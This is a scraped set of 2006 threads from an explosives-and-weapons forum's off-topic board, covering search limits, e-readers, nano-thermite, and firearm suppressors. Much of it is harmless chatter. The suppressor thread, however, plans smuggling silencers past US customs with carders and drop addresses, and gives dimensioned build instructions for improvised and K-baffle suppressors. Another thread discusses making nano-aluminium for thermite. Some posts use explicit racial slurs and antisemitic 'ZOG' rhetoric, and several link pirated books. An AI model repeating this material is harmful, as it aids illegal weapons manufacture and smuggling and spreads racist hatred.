a c o u p l e s a c k s f o r h o m e purposes only - it wou ld be unwise to give them such opportunity. If you aren't am ateur in the field -
you will know where and how to look/ask (like you did C hris).

Absolutely right, FUTI. Searches for things shorter than four letters don't work, by design. It just doesn't run it.
Another curious effect of the search system is that a search that returns too m any results fails in the sam e way. Searching for
"then" return s no results because it is simply too com m o n .
nbk2000 March 27th, 2006, 09:56 PM

The UBB search engine doesn't index words under 4 letters in length, since that would put way too much strain on the server.
Now, it is possible to custom ize the search engine to index specific exceptions, like TNT or HMX, but that's som e t h i n g M e g a
would have to do m anually an d well...
Try using Google, using a site specific search.
megalomania March 29th, 2006, 02:58 PM

If anyone is willing to compile a list of com m o n ly referenced two and three letter words or acronyms of interest to the Forum I
can include these in the search index. The fewer the num ber of searched words, the larger the search database gets, and the
long er it takes. There is an exponential leap in the am ount of processing resources going from 4 to 3 to 2 letter m atches.
Leap... leap... that m atches ap (acetone peroxide), le (low explosive), lea (law enforcem ent association), and that's just one
word as well as being completly irrelevant to those terms
I too find it frustrating on som e boards that don't let yo u search under 5 letters. I tried to make the lim i t s a s s m a l l a s f e a s a b l y
possible. As I said, anyone wants to in clude certain term s I will custom i z e t h e s e a r c h d a t a b a s e .
FUTI March 30th, 2006, 05:51 AM

As a n ; ) e x a m ple if you try se arching for amm onium nitrate or AN, you m ight get a teleph one book thick range of hits that
have minor amount of info of use for you. I think that our search engine don't discriminate caps and small letters so I would
allow use of those short searchwords only if the y are written with all caps.

I'd suggest a lim itation for those words of being whole words only, but that's prob ably beyond the power of the search routine,
without m odification.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > M a g n e s i u m Nitrate
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View Full Version : Magnesium Nitrate
RalphRussell March 26th, 2006, 12:50 AM

I h a v e a l r e a d y a t t e m p t e d o n e post which is not approved at this tim e . I d e c i d e d t o r i s k m a k i n g a n o t h e r p o s t t o a s k s o m e
questions.
I was trying to search for "Magnesium Nitrate". When I put that in the search, I get all threads that have both words
" M a g n e s i u m " and "Nitrate" in them but not necessarily together For example, I found a thread about m i x i n g M a g n e s i u m with
Am monium Nitrate. W hen I tried searching for "m a g n e s i u m nitrate", that narrowed it down to two threads where it was spelled
that way (no space between the words). I did not find what I was looking for. Here are my noob questions.
W hat is the best way to search the forum for a chem ical like magnesium nitrate that has two or m ore words in its name?
I r e c e n t l y o b t a i n e d s o m e m a g n e s i u m nitrate on the new Skylighter fireworks auction site. It vividly demonstates what
hydroscopic m eans. The stuff is soaking wet! How do I dry it out safely? The form ula is Mg(NO3)2.6(H2O). W ill this stuff work
a s a n oxidizer with all of that water in it? I am assuming that after I get it "dry", the 6(H2O) part will still be there.
simply RED April 1st, 2006, 09:14 AM

Now thats a sensible question.
Yes, it is im p o s s i b l e ( o r n e a r l y s o ) t o m a k e a n h y d r i d o u s m a g n e s i u m n i t r a t e .
W ith calcium nitrate the situation is the sam e .
Those salts even with m inimum am m ount of water in it will not work for explosive purpose s. Anywa y it is po ssible to m a k e
fireworks with them (as part of firework m i x e s ) .
W hat about calcium perchlorate? I have no info on it.
nbk2000 April 1st, 2006, 09:43 PM

W hat is the best way to search the forum for a chem ical like magnesium nitrate that has two or m ore words in its name?
Google, using the site specific search limiter.
Speaking of Google, they've got a new search function for dating!
http://www.google.com / r o m a n ce/
Try searching for 'Pyrom aniac' for that special little firebug to share your life with. :D

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W hat's a good ebook reading
device?
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I'm looking through portable hardware devices that allow someone to read ebook s on the go. Unfortunately, m a n y o f t h e s e
work off OCR technology. Simply put, if the document is in text--not image form at--then the docum ent can be covereted to be
r e a d o n a p o rtable device. I need im a g e f o r m a t reading devices.
I'm trying to look for a device that allo ws some one to view .PDF files but at the sam e tim e doesn't work off OCR . It will show
the image files that com p o s e d t h e . p d f f i l e .
I f o u n d s o m e interesting gadgets on the intern et including this Everybook reader thing, but it was m a d e i n 1 9 9 8 a n d d i d n ' t
s e e m to becom e too popular. I couldn't get enough information about it to give a proper thought to its cap abilities. It proba bly
was discontinued. Maybe it still exists, lurking so people don't use it to their adva n t a g e .
O C R usually sucks when rendering im a g e s .
Anyone with information on portable devices except a laptop?
festergrump April 1st, 2006, 06:56 PM

You might look into a fairly new do-all cellphone m a d e b y P a l m called a Treo... Very nifty little devices with many other
capabilities. They're about $300 if you buy it with service (otherwise upwards of $500+ no service lock-in de al).
Not com pletely sure about PDF capabilities com ing with the phon e but downloads are available, surely. Som e o n e a s k s y o u w h a t
you're reading you co uld even 'Blue-tooth' the file to them (though I'd avise against that, of course, for obvious reasons). Just
thinking aloud... Palm is probably the best com pany out there IMO who design such useful products.
nbk2000 April 1st, 2006, 09:48 PM

http://www.engadget.com /200 6/01/06/sony-reader-details-and-pics/
U s e s e - i n k , i n s t e a d o f an LCD screen, so the reader doesn't use any juice to display a page, only when cha n g i n g p a g e s . P l u s ,
reso lution is much higher, so less eyestrain. :)
'C ourse, it's over $300 for something that only displays book pa ges. But, as long as it can display all form s of PDF files (a b ig
if), then with all the b o o k s t h a t a r e a l r e a d y o n t h e F T P a n d f l o a t i n g a r o u n d o n t h e i n t e r n e t , y o u s h o u l d h a v e n o p r o b l e m s
h a v i n g m ore to read than you'll ever be able to read. :)

:rolleyes: Seem s like the critics, on that page, think a laptop is a better choice NBK. Looks like the laptop beats all. Getting a
light-weight laptop of an affordable price is key.
nbk2000 April 6th, 2006, 02:34 AM

S e e m s a lot of people were saying that, for the s a m e price, you could ge t a laptop that co uld many things O K, rather than the
Sony reader which does only one thing, but exceedingly well, that being displaying text in a non-eyestrain inducing m a n n e r : )
Yes, the cost needs to come down for the m asses, and color would be nice, but it can disp lay text like a book, and the battery
doesn't die in 4 hours! :p
And it's only going to get better. In a couple of years it'll be just like a book, only with tex t-search, highlighting, and all that
other good stuff.

If th at e-reader is the one I've been seeing adverts for, the battery lasts for alm ost forever com pared to a laptop. Due in part
to the fact th at it only uses electricity to change the pag e. Otherwise the pixels stay shaded. A laptop can b e had for as little a s
5 5 0 n o w a d a y s , m a y h a p l e s s s h o u l d y o u find a used one. Keep in mind the 550 laptop will have ab out as m a n y f e a t u r e s a s t h e
e-reader.
nbk2000 April 7th, 2006, 08:13 PM

The laptop are multi-function m achines. The e-reader is purpose built.
The one thing that the e-reader has is superior text display, with no screen flicker and far superior resolution, thus no
eyestrain. :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W o m en, Pyro & R e l a t e d
Hobbies
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quicksilver April 3rd, 2006, 01:09 PM

I have, on occation, wondered why so few wom e n p o s t o n u s e n e t o r d i s c u s s i o n b o ards (like this one) in subjects like pyro,
firearm s, explosives, survivalism , etc.
T a k e t h i s a n d r e l a t e d d i s c u s s i o n b o a r d s a s a n e x a m ple; I doubt there are m a n y f e m ale hobbiests here....a no-brainer, but it
s e e m s to beg the question as to why.
At m y work I have the opportunity to interact with a large num ber of wom en from many walks of life. In a d elicate way I have
a s k e d s o m e o f t h e m if they ever had any hobbies that they considerd masculine. One or two were avid sho oters. They owned
firearm s and shot them with som e degree of frequency. One even was in terested in archery as a m odality of hunting. But that
was 3 wom en out of several dozen that I have asked over the course of half a year. Many wom e n b e l i e v e t h a t h o b b ies like
"pyrotechnics" are related to some elem ent of destruction; that there is an elem ental destructive quality to anything that
" b u r n s o r e x p l o d e s " . W hen pointing out that fireworks h ave an essential display quality to them, therefore an aspect of beauty
and creativity the brighter am o n g t t h e m agree but have no actual base-line answer as to why women don't seek out that as a
pastim e.
I also have some young Sorority girls in our office. Whe n a s k i n g them th i s q u e s t i o n I h a v e t o t a k e m y tim e to com m unitcate
exactly what I mean as they appear to not understand a great d eal of things....
I had thought that it was the chemicals that put them off however it seems that women ce rtainly enjoy hobbies that entail
gettings one's hand's dirty (pottery for instance); but th i s a p p e a rs to me a masculine entertainment and I really don't know
why...Christ the USMC has wom en in it's ranks today....
alyks April 4th, 2006, 04:32 AM

W ell, do you have any fem inine hobbys? If not, why?
nbk2000 April 4th, 2006, 11:37 PM

Quicksilver isn't going to be able to reply to your query, as that user is no more. :)

I think quicksilver raises an in teresting question. My family (including m y wife and daughter) have been getting together with
another fam ily on July 4th for at least 20 years.
In a rural setting, we set off sm all fireworks all day and into the night. For the m ost part, the wom en have always enjoyed it.
T h e e x c e p t i o n is explosions. The guys, myself included, like fire crackers. W hen we set those off, the wome n g o i n s i d e . W h e n
we do the sparklers, fountains and rockets, the y're out watching and enjoying.
C o n c l u s i o n : W omen like colorful and a rtistic fireworks but they don't like explosions!
Also, if there are wom en in this forum , they probably don't want anyone to know. They would be afraid of wierdos hitting on
them with PM's.
Chris The Great April 6th, 2006, 02:30 AM

http://www.thetimesherald.com/apps/pbcs.dll/a rticle?AID=/20060331/NEWS01/603310302/1002
Too bad she's a kewl.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > 700 Ton ANFO charge to be set
off
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TreverSlyFox April 5th, 2006, 03:25 AM

Didn't see this poster anywhere here. At another site wa s a blurb that said it is to be a ANFO charge.
US to test 700-tonne explosive :eek:

Mar 30 11:26 AM U S/Eastern
Ema il this story
T h e U S m ilitary plans to detonate a 700 tonne explosive charge in a test called "Divine Strake" that will send a m u s h r o o m
cloud over Las Vegas, a senior defense official said.
"I don't want to sound glib here but it is the first tim e in Nevada that you 'll see a mushroom cloud over Las Vegas since we
stop ped testing nucle ar weapons," said Jam e s T e g n e l i a , h e a d o f t h e D e f e n s e T h r e a t R e d u c t i o n A g e n c y .
Tegnelia said the test was part of a U S effort to develop weapon s c a p a b l e o f d e s t r o y i n g d e e p l y b u r i e d b u n k e r s h o u s i n g

nuclear, chemical or biological weapons.
"We have several very large p enetrators we're developing," he told defense reporters.
"We also have -- are you ready for this - a 700 -tonne e xplosively form ed charge that we're going to be putting in a tunnel in
Nevada," he said.
"And that represents to us the largest single explosive that we could imagine doing conventionally to solve that problem," he
said.
T h e a i m is to m easure the effect of the blast on hard granite structures, he said.
"If you want to model these weapons, you want to know from a m odeling point of view what is the ideal best condition you
could ever set up in a conventional weapon -- what's the best yo u can do .
"And this gets at the best point you could get on a curve. So it a llows us to predict how effective these kinds of weapons ...
would be," he said.
H e s a i d t h e R u s s i a n s h a v e b e e n n o t i f i e d o f t h e test, which is scheduled for the first week of June at the Nevada test range.
"We're also m aking sure that Las Vegas understands," Tegnelia said.
<Vegas gets all the cool stuff>

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Funny glitch on the site
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darkdontay April 7th, 2006, 11:22 AM

W hen I logged in today, everything wa s odd in my CP. it showed m y nam e as a "?" and rank was noob...... best of all was the
fact I had no t logged in since "1969"
Sorry I have not been in for the last 37 years.
I just though t it was something funny. Oh taking a Adm in Justice course at the co llege on crim e s c e n e e v i d e n c e . s u p e r l a m e , I
will try and get m y digicam to work and scan so m e p a g e s .
here is the book we are working out of:

TECHNIQUES OF CRIME SCENE INVESTIGATIO N,FISHER
ISBN:084931691X

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > R tpb?
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I've seen this acronym m entioned quite a few tim es in relation to certain things, but I have no idea what it is, what it m e a n s ,
or where to get it. NBK, you seem to be the only person I think that I've seen use it.
W hat is it? If there is a copy, or it is something in electronic form , do you think I could have a copy? It looks pretty good.
Ropik April 9th, 2006, 03:06 PM

It m e a n s R u l e s T o P r o f i t B y . I r e m e m ber reading them , but I think it was "More rules to profit by", not the old lot. I would be
intereted in a copy of "RTPB from the beginning to the end". Hey, sounds good enough to try luck publishing it. At least you
can get som e fun when som e sheep picks it up and begins to re ad it casually, then see a sentences like "Shooting som e o n e
for his shoes is P.E.T.T.Y."...
nbk2000 April 9th, 2006, 08:52 PM

Here's a copy of the original version.
Alexires D e c e m ber 25th, 2006, 11:39 PM

Again, as I read another of NBK's mind blowing posts (MAD thread) I have stumbled upon the acro nym LO P.
Any idea guys?
An adaption on RTPB, "Its better to kn ow it and not need it, than to need it and not know it"
Defendu D e c e m ber 26th, 2006, 12:25 AM

LOP
Machiavelli's 48 Laws of Power.
Alexires D e c e m ber 26th, 2006, 12:36 AM

Thanks Defendu.
I was just about to co m e b a c k here and post that I had a lead, so help wasn't required. Thanks anyway.
The keyword I was looking for was 48LoP.
I'm downloading a copy now.
Thanks again.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Nanoenergetics
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There's a new field within energetics called nanoenergetics:
http://www.technologyreview.com /articles/05/01/wo/wo_gartner012105.asp?p=1
For those who are as new to the subject as I, here's a link to the book "Nanoscale Materials in Che mistry":
http://rapidshare.de/files/123 85085/NMC.pdf.htm l

Here are a couple of m o r e l i n k s t o b o o k s o n n a n o t e c h n o l o g y :
Nanostructured Materials : Selected Synthesis Methods, Properties and Applications
http://rapidshare.de/files/103 12407/NMSSMPA.pdf.htm l
Password: www.AvaxHome.ru
Springer Han d b o o k o f N a n o t e c h n o l o g y
http://rapidshare.de/files/351 9559/Springer_handbook_of_nano technology-Bhushan.part1.rar.html

http://rapidshare.de/files/351 9636/Springer_handbook_of_nano technology-Bhushan.part2.rar.html
OR:
http://www.m e g a u p l o a d . c o m / ? d = K 7 C K I 4 G R
Password: www.C hipollo.Info
Jacks Complete April 12th, 2006, 07:19 PM

Ah, nano-tech! A good first po st.
Of course, at tiny scales, the energy from a few chem ical bonds is rarely enough to do anything im pressive. Far better to use
the principles of aekido and other m artial arts, which re-direct the attackers energy to your ends.
100 molecules of nitroglycerine will do not very much, especially if spread out, but one "molecule" of bird flu will trigger a
m a s s i v e i m m une response. At tiny sca les, a diam ond or glass rod is effectively imm ortal, unlike the cells it can pierce, just like
asbestos...
I shall enjoy reading this.
nbk2000 April 12th, 2006, 09:50 PM

From an article I read last night about nano-ex plosives, they were saying that typical alum inum particles have only 1/10th of
1% of their atom s e x p o s e d o n t h e s u r f a c e . W h e r e a s , n a n o - p a r t i c u l a t e s , h a v e a l m o s t 5 0 % o f t h e i r s u r f a c e e x p o s e d a s a t o m s ,
increasing reaction rates by 1,000x. :)
T h e t o t a l a m ount of energy m ay be the same, but the rate at which it is released m a k e s t h e d i f f e r e n c e .
Like the difference between burning propane in a lam p , a n d t h e s a m e a m o u n t o f p r o p a n e d i f f u s e d t h r o u g h t h e r o o m with a

spark to liven things up. ;)
Jacks Complete April 22nd, 2006, 09:08 AM

NBK, that's a good point. Sma ller charges that react faster are going to b e far mo re brissa nt than larger charges. I believe they
are also far less likely to be activated by accident, due to the higher initial energy required.
I can see the day the US feilds nano-tech bulle ts that seek heat, and ensure a kill by finishing the job after they hit, or even
attacking care workers (who are suspected terrorist sympathisers, and he nce a valid target :-( ) and field m edics who attend
the wounded. The US will be the only ones to afford it, at least to begin with!
There is little that cannot, in theory, be done with nanotech. The practise is still a long, long way behind. However, things like
very small explosive fuses, small gyroscopes (silicon wafers that can be fired from a cannon), and tiny stareing cam era arrays
are all com in g along nicely.
defiant May 10th, 2006, 12:53 AM

Nanotech can be very sophisticated - p articularly when a ranging atoms into particular formation for nano processors and the
like, which m ight eventually happen. But nano therm ite appears to be far less com plicated.
From m y u n d e r s t a n d i n g , n a n o a l u m i n u m c a n b e m anufactured by directing current through alum inum that is imm e r s e d i n a n

acid. This procedure is derived from a previously posted patent (or if not its saved and can be posted).
A more "invo lved" m anufacturing procedure requires an aerosol reactor, which is described at:
http://www.engin.um ich.edu/~cre/web_mod/aerosol/index.htm
In either case, research indica t e s t h a t t h e i r o n o x i d e n e e d n o t b e n a n o s i z e .
W ith regards to stability, conventional thermite is gernerally set off with a m a g n e s i u m fuse, and is not particularly susceptible
to accidental ignition. Nor is a magnesium fuse beyond the capa bility of the resourceful individual.
Nano scale particles do react differently than their larger counterparts, an d its possible tha t nano-thermite would be more
difficult to ignite than conventional therm ite, but its equ ally likely that na no-therm ite has similar ignition (iot in the case of
n a n o - t h e r m ites "deto nation") properties, or is even easier to set off due to the sm all particle size and less energy being
required to cause a reaction.
Brute experim ention or a chemical engineer fam iliar with nano tech would provide a more definitive answer.

C o n s i d e r i n g t h e i m m inent possibility of sm all sized m etallic particles being banned for pyrotechnic use, having knowledge of
h o w t o m a k e these particles will be of vital importance to the independent experim enter. Hopefully the upsurge in research will
provide som e interesting tidbits applicable on the hom e m a n u f a cture scale.

H e r e a r e s o m e patents detailing how to make fine particulate alum inum . And in the patents it's stated that aeresol method
cannot attain aluminum particles of the size specified therein (i.e. nano scale). Anyway en joy
6077329, 5885321

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Importing silencers
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transmitt April 12th, 2006, 02:17 AM

If you want to buy a suppressor in the United States legally, you don't really have very many options. In fact, you actually only have tw o options:
1. You can attempt to buy the suppressor as an individual. In order for an individual to purchase a suppressor, they must live in a state that allows the purchase of suppressors.
They also must provide an ATF form 4 complete w ith the signature of their chief law enforcement officer (sheriff, chief of police, judge w ith arrest warrant pow ers), a
photograph of themselves, and fingerprints. After this, a 60 to 180 day w aiting period ensues. They run a background check and put you into the system. If all is good, you get
to pick up your suppressor from your dealer.
2. You can attempt to buy the suppressor as a corporation or other legal entity. Corporations, LLCs, trusts, etc. can also have NFA items transferred to them. The big bonus here
is that you don't have to provide your photograph, fingerprints, or the signoff of the chief law enforcement officer. There is also a shorter waiting period. The minus is that you
have to go through the additional red tape involved with creating your legal entity. The complexities and costs vary depending on what type of entity, and what state.
That's the United States; in many European countries, suppressors aren't regulated at all. Notable examples include Finland and France, where you can buy suppressors over the
counter. The UK, I believe, requires a permit that is trivial to obtain. As you might imagine, manufacturers can sell their product much cheaper than in the US, due to the ability
to do much higher volume of sales.
So that got me to thinking: "Hmm.. how hard would it be to import silencers from Europe?"
It w ould of course be illegal. So, if you are a machinist, or know one who would w ork for you, you could, with a minimum of research, manufacture an industrial grade
suppressor with modern internals. If you aren't a machinist or don't know one, then you are limited to cruder methods. In this case, importing might be for you.
The first thing I w ould do w ould be to try to find a contact in a suppressor friendly country. Maybe I w ould locate some Finnish carders and arrange some sort of deal in which
they would buy the suppressors and have them sent to me.
Since this is against the law , w e w ant our activities to go unnoticed. We'd like our silencer to arrive unmolested. Since US Customs probably has a list of suppressor
manufacturers, we'd w ant our suppressor re-packaged before being sent to us. As well, w e'd want the final destination of the package to be a drop that we've setup just for this
purpose. Then our only danger would be that the box gets opened or x-rayed and that someone recognizes the product for what it is.
So what are the odds of that? Does UPS randomly open or x-ray packages? What about customs? Even if x-rayed, I can't see a silencer setting off too many alarms. A cylinder
between three and nine inches in length and one to tw o inches in diameter seems pretty harmless. As well, w e might camouflage the shipment by sending it with something
else--flashlights or something.
It's just a thought.

Interesting. The UK sells OTC silencers for air rifles, so .177", .22" and .25" (perhaps) are available. Every air rifle has one. You cannot buy a firearms silencer without a firearms
certificate, which is anything but trivial to get. (See my other post today about it!) so anything bigger than a .22, forget it.
I know a lot of people use air rifle silencers on Ruger 10/22's, since there is no reason not to get the threaded barrels. Still quite noisy, but better than before. Use subsonics if
you can get them, but remember that you can get 5 years for having hollowpoints!
Building a silencer is trivial, though. Buy a steel tube the right size, some springs that will fit inside the tube, and some washers. Get someone to machine a threaded bit to go on
your rifle crown's thread, and silver solder it to the tube. Stack it up, spring part, washer, spring part, etc. then solder an end washer in place. Job done. Nearly as easy as
making a hollowpoint!
tmp April 12th, 2006, 07:38 PM

I wouldn't even attempt to import a silencer into the U.S.. Under 18 USC,
section 922 a person can be imprisoned for 5 years and/or fined for such
an act. There's no parole at the federal level either. Of course a person
could build it if so inclined. Otherwise, the only option is to go through
the hassle and paying the $250 transfer tax.
defiant April 13th, 2006, 12:07 AM

Machining is not difficult to to learn, and a used metal lathe capable of machining to 1/1000" can be had for $500 US. Tooling and accessories may be an additional expense.
depending on what the lathe comes with. An importation scheme would cost more than a lathe, though its interesting to know that silencers are legal abroad.
US law defines a silencer as a firearm, and the US Constitution holds that the right to own and bear firearms shall not be infringed. Unaffordable taxes and impossible conditions
are an infringement. So much for the law .
Silencer patents are available at:
http://rapidshare.de/files/17869846/Silencer_Patents.7z.html
Bugger April 13th, 2006, 08:27 PM

Talking about building a silencer for a rifle or high-powered airgun: does anyone have plans for makling them? If so, please upload to rapidshare.de, and post the dow nloading
link here.
I want a silencer in order to hunt Australian brushtails opossums on my property and neighboring forest reserves; they are New Zealand's number one introduced pest,
devastating to small nesting birds by eating their eggs, and stripping palatable trees of foliage. and also eat ripe fruit in orchards. They are nocturnal, and I would need a silencer
to shoot them without scaring other ones away.
nbk2000 April 14th, 2006, 04:54 AM

Defiant:
While I agree with your interpretation of the Constitutions intent, we must remember that decades of liberal ZOG puppets in the courts and political offices, have formed a maze
of psuedo-legal bullshit around the 'Self-Evident' intent of the 2nd amendment, for the express purpose of disarming the populous.
I'd also like to mention the fact that there were NO gun control laws in the US until AFTER the civil war w as over and the niggers got their freedom. After that, gun ownership
started getting regulated to prevent them from having guns and getting uppity.
Look w hat happens in every major city where there's a majority of niggers, who also have guns...Mogadishu in Detriot...Liberia in Watts...etc...
It's a miracle that as many white people own guns as they do now , 'cause the liberals w on't be happy until the w hite man is defenseless against sw arms of uppity muds w ith
guns. :mad:
Bugger:
Check your grammer and correct it. *hint*paragraphs*hint*

An essay, by Maryland attorney Howard J. Fezell, discusses the early gun
control in Maryland. The various laws took effect in 1715, 1756, and 1806.
The 1715 and 1806 laws w ere directed at blacks while the 1756 law w as
directed at Catholics. Link: http://ww w.secondamendment.net/2amd8.html
Gun control directed at MOST people, as indicated by NBK, took place after
The War Of Northern Agression(that's the Civil War for you Yankees !),
particulary in the 20th century. New York City's infamous Sullivan law was
used to keep immigrants disarmed and aw ay from voting booths. Gun control
has alw ays been about controlling people - not crime !
I live in Maryland and can tell you this state is a hassle to ow n any kind of
gun. Only the cops, rent-a-screws, and of course, the elite can even
get a permit to carry a gun. I found out the hard w ay what its like to get
busted for carrying a gun w ithout a permit.
Sorry for straying off topic. For homemade silencers, the simplest design I
read about is based on the Larand. The Larand uses a metal w ool held
back by a shroud to absorb the heat of the exiting propellant gases. It
doesn't even have to be perfectly aligned with barrel provided that the round
doesn't strike any of the supressor's internals. This type is considered to be
more effective than the Scionics silencer used in Vietnam.
nbk2000 April 16th, 2006, 09:03 AM

...The War Of Northern Aggression...
(2 g's in aggression)
First time I ever heard that phrase was during the X-Files episode called 'Home'.
Boy, was that a FREAKY one. :eek:
True, gun control has always been about controlling the masses, regardless of race, but the big reason for it in the US was the niggers. Once that can of worms was opened, it
was easy for the politicans to continue expanding the law s until everyone who isn't a party member is disarmed. :mad:

NBK, sorry about the typo in "aggression". I'm usually a good speller and I
should have looked it up.
As for those who initiated gun control as we know it, you're absolutely
right ! The liberals just love those idiots killing each other as justification
for yet another "common sense" gun control law.
Whenever a politician tries to ease up the gun law s on us average citizens

you can count on the black politicians of Baltimore City and Prince George's
County in addition to the white liberals of Montgomery County to scream
that "blood will flow in the streets" if you do that. Same alarmist shit that
was predicted in every state that is now "shall issue" for pistol permits.
Back to silencers. I found that a soda can properly placed over the barrel
of a .22 LR pistol does a pretty good job for that caliber. It reminds me of
a firecracker going off in the can. It goes TINK instead of BANG.
transmitt April 17th, 2006, 12:28 AM

Back to silencers. I found that a soda can properly placed over the barrel of a .22 LR pistol does a pretty good job for that caliber. It reminds me of a firecracker going off in the
can. It goes TINK instead of BANG.
Yeah, it's amazing what simple volume can do. Silencing a muzzle report consists basically of two things: volume and baffles. It's not hard to make a very good silencer for the
.22lr cartridge, but it is harder to make one in a small package.
For example, filling a 2" diameter, 6" length pvc pipe with some sort of baffling apparatus like steel wool would probably be as quiet or quieter than most commercially available
units. Using more efficient baffling, you can reduce
volume requirements per decibel reduction.
The baffle type for .22lr used most often these days is the so called 'k-baffle'. It's essentially a cone with a disk at the bottom. When looked at from a cutaway, it looks like a
'k', hence its name. The cone portion has a hole bored into the side (a 'dater' hole) to allow gas to escape into the chamber created by the wall of the outer tube and the baffle.
Sometimes a notch is cut into the side of the hole that bullet passes through (a 'ramp') to direct the gases.
The Advanced Armament Company's Pilot, Gem-tech's Outback II, and Tactical Innovations Tac-65 all use this design. They are generally 5" to 6" in length, and approximately
1" in diameter. Each design has 5 to 7 k-baffles. They have reported dB reductions of 38 to 41+ dB. The Tac-65 is especially interesting, because you can take it apart for
cleaning. Pictures of the baffle stacks are available.
The only 'big' US made .22lr silencer that uses a different baffle design is the SWR Warlock, w hich uses Joe Gaddini's patented Omega baffles. When a popular silencer website
tested his design, they achieved a reduction of 43 dB.
K-baffles, at least, would probably be easy to make if you had a lathe and a mill and knew how to use it. I mentioned the thought of importing, because I myself do not have
access to machine tools, and if I did, I wouldn't know how to use them.
From lookinag x-rays of suppressors, pictures, and reading product descriptions, it seems to me that to make a top of the line suppressor using modern internals, you would
need to make:
1. The outer tube. Generally 6061-T6 aluminum tubing with an OD of 1", and a wall thickness of .065".
2. Endcaps. Machined from 6061-T6 aluminum bar stock. Most models look to have about 1/4" of thread engagement. They tend to thread 'in' instead of 'over'. As a result, the
inside portion of the endcaps tend to be milled out so as to not overly reduce the internal volume.
3. Thread mount. Standard seems to be 1/2" x 28 tpi, stainless steel mount. Mount threads into the rear endcap. Stainless steel is used to avoid threadw ear. Sometimes
titanium is used.
4. Baffles. As mentioned, 5 to 7 k-baffles. I counted 5 baffles in the picture of the tac-65, the loudest of the four suppressors. An x-ray of the AAC scarab showed 7 baffles. The
AAC pilot apparently has the same internal structure.
Bore for the bullet to pass through throughout the unit should be approximately .280". I obtained this number by adding .06" to .22. This amount of clearance is industry
standard.
Most units these days are being hardcoat anodized. I couldn't find much information about hardcoat anodizing (type III), but type II anodizing is done by all sorts of hobbyists.
Here are some links:

AAC Pilot (http://w ww.advanced-armament.com/products/rimfire/pilot.asp)
Gem-tech Outback II (http://w ww.gem-tech.com/outback.html)
Tactical Innovations Tac-65 (http://w ww.tacticalinc.com/tac65-22lr-suppressorbrexcellent-suppression-easy-clean-p-38.html)
SWR Warlock (http://www .swrmfg.com/ProductDetails.asp?ID=17)
Anodizing aluminum (type II) (http://ww w.focuser.com/anodize.html)
defiant April 17th, 2006, 02:27 AM

Interesting info about silencers. Again, its not difficult to use metal working machinery. I'll upload some metal working books and discuss design later.
With regards to consevative vs. liberal politics in the US - there are far more similarities than differences. Both represent elite interests. Neither is willing to enact lobbyist reform.
Both have destroyed the w atchdog role of the media through "deregulatation." Effectually, liberals and conservatives are playing an elaborate game of good cop / bad cop - but
essentially the differences are more appearance than actual.
Consider that Reagan was shot with a .22 handgun. Consequently the Brady Bill w as enacted and assault rifles were banned. Does that make sense? Was the Reagan
Administration liberal?
By all indications, if there w as a threat to the status quo - ... or the new w orld order - gun rights would be diminished or abolished regardless of the party is in office. Nowadays
both liberals and conservatives are both thoroughly corrupt.
If a tyrannical government was in pow er, be that power liberal or conservative, it would be foolish to give up one's firearms (whatever the law w as). And any government that
would ban guns is tyrannical or downright stupid for creating the conditions which facillitate tyranny (a disarmed populace).
"When the government fears the people there is liberty. When the people fear the government there is tyranny." - Unknown
noz April 23rd, 2006, 12:12 PM

Realy we are all talking about suppressors there is no such thing as a "silencer", they are useful on most weapons except revolvers even if firing non sub ammo as they do cut
noise level quite a bit. You can definately buy rimfire "silencers" in the UK they are one diameter(well ones I've seen are) that is used for .22short/lr/win.mag. and also .17 use.
Most come in 1/2" thread which is commonest on pre threaded barrels, but you can get ones with different threads. Prices range from 25 to about 65, they are mostly
between 6" and 9" long and about an 1 1/4 thick. Best thing is get someone to post you one as no paper trail, plus don't know of any UK dealer or Ebayer who would risk it.
If you want something for centre fire try Finland or build your own, best for rifle is reflex design made by TUOTE in France, is short in length but reduces noise massively is used
on a lot of special forces guns.
Third_Rail May 4th, 2006, 07:01 PM

I've a decent machine shop set up in my apartment, and for less than $1200. Mill, drillpress, a few vices, a lathe, plenty of tools, etc.
Once I turn 21, my LLC w ill be manufacturing (along w ith paying the $200 tax to the gov't) some suppressors, short barreled rifles, short barreled shotguns, and the like.
Slightly OT, but I may actually get that Gatling gun in 12ga finished some day, too.
nbk2000 May 5th, 2006, 01:15 AM

If you go Title III manufacturing, expect to get raided by the ATF some day.
They, for some reason, like setting up manufacturers of legal machine guns and silencers, and busting them. Probably to seize their assests to fund further thievery on their part.
:mad:
Third_Rail May 5th, 2006, 01:25 PM

Most likely won't be going full manufacturer route, just the tax stamp per item. I figure every single firearm I have minus the HD ones should be very quiet, along with being
accurate and concealable (to a point).
Besides, if I go Class 3, I won't be able to keep anything I make if I get rid of the license, whereas w ith registering each to an LLC, I keep them all until lost/stolen.
Of course, I w ould rather there be no NFA regulations in the first place, but as there are, I'll w ork within the system to get my toys.

I see that one of the hot sellers at Tactical Innovations is a fake .22 LR suppressor. I wonder how hard it would be to import that little gem?
http://ww w.tacticalinc.com/walther-thread-adapter-fake-suppressor-p-343.html
No sales to kalifornia!
Consider the psychological benefits of intimidation one could get screw ing on a fake silencer to a gun while threatening someone. We all know w hat happens after the hit-man
screws on his silincer...
transmitt July 16th, 2006, 05:59 AM

Pictures of the internals of the AAC pilot, one of the top of the line .22lr rimfire silencers on the market today.
AAC Pilot (http://w ww.csw net.com/~luther/pilot.htm)
Anira July 16th, 2006, 01:51 PM

If you want to try building them then maby this book can help.
Paladin Press - Workbench Silencers:

http://rapidshare.de/files/26008139/Other_-_Paladin_Press_-_Workbench_Silencers.pdf.html
1petmonster September 17th, 2006, 05:44 AM

Did you know you can build them yourself in the USA, just apply for the permit from your BATF, same rule applies for building your own firearm from scratch (this does not allow
you to build full auto).
And in NZ , its a over the counter gig, in South Australia you were able to purchase over the counter but not allow to use, all very silly!!!
PS with subsonic ammo, try spherical K baffles!!!!!

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Speeding up browsing
